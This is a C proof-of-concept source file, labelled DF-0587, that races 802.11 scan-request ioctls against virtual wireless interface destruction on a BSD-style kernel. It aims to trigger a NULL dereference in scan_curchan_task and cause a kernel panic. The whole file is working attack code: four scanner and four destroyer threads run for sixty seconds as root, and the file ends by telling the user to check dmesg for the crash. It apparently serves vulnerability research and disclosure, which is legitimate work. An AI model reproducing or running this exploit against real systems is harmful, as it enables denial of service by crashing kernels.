DF-0587 / race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* * DF-0587 PoC: race scan_curchan_task against concurrent vap detach. * * The race window is in scan_curchan_task between IEEE80211_UNLOCK(ic) at :741 * and the re-acquire at :761, during which ieee80211_scan_vdetach (triggered * by vap destroy) can null ss_vap/ss_ops. On re-lock scan_curchan_task does * not re-validate, then dereferences the NULL vap (crash on DEBUG kernels in * IEEE80211_DPRINTF, or in scan_done on non-DEBUG kernels once the scan has * reached the last channel). * * Build: cc -O2 -Wall race.c -o race * Run: sudo ./race wlan0 (must be root: vap destroy needs privilege) */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <netproto/802_11/ieee80211_ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> static volatile int stop = 0; static char *ifname; /* Thread A: pump IEEE80211_IOC_SCAN_REQ to drive scan_curchan_task. */ static void * scanner(void *arg) { struct ieee80211_scan_req sr; int s = (int)(intptr_t)arg; int fd; fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { perror("scanner socket"); return NULL; } while (!stop) { memset(&sr, 0, sizeof(sr)); sr.sr_flags = IEEE80211_IOC_SCAN_ACTIVE; sr.sr_duration = IEEE80211_IOC_SCAN_DURATION_MAX; /* long dwell */ sr.sr_nssid = 0; /* drive scan_curchan_task hard, repeatedly */ if (ioctl(fd, SIOCS80211, &sr) < 0) { /* vap may be torn down under us; loop and re-try */ } } close(fd); (void)s; return NULL; } /* Thread B: race vap destroy against the in-flight scan. */ static void * destroyer(void *arg) { struct ifreq ifr; int fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { perror("destroyer socket"); return NULL; } while (!stop) { memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); /* toggle the vap down/up; destroy is heavier and may need re-attach */ if (ioctl(fd, SIOCIFDESTROY, &ifr) < 0) { /* re-create by toggling parent if needed; for a quick PoC just re-issuing destroy will mostly EBUSY/ENXIO which is fine -- the racing scan_curchan_task is what we are after. */ } /* brief pause to let the vap come back if driver re-creates */ usleep(1000); } close(fd); (void)arg; return NULL; } int main(int argc, char **argv) { pthread_t sc[4], de[4]; int i; if (argc != 2) { fprintf(stderr, "usage: %s wlan0\n", argv[0]); return 2; } ifname = argv[1]; fprintf(stderr, "DF-0587 race: scan_req vs vap-destroy on %s for 60s...\n", ifname); for (i = 0; i < 4; i++) pthread_create(&sc[i], NULL, scanner, (void *)(intptr_t)i); for (i = 0; i < 4; i++) pthread_create(&de[i], NULL, destroyer, NULL); for (i = 0; i < 60; i++) sleep(1); stop = 1; __sync_synchronize(); for (i = 0; i < 4; i++) pthread_join(sc[i], NULL); for (i = 0; i < 4; i++) pthread_join(de[i], NULL); fprintf(stderr, "DF-0587 race finished. Check dmesg for a panic in scan_done / scan_curchan_task.\n"); return 0; } |